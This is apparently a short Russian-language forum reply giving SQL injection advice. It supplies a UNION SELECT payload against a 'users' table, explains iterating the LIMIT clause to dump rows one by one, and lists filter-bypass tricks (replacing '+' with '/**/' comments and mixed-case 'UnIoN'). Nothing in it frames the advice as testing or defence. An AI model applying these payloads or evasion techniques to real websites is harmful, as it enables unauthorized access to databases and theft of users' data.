Используй Limit

id=-480+union+select+user_id,2+from+users+LIMIT+1,1 --

И каждый раз меняешь LIMIT 0,1 -- и .тд

P.S: кажется я вопроса не понял...

Обойти фильтр такими способами

1) вместо + пиши /**/

2) union = UnIoN

и .тд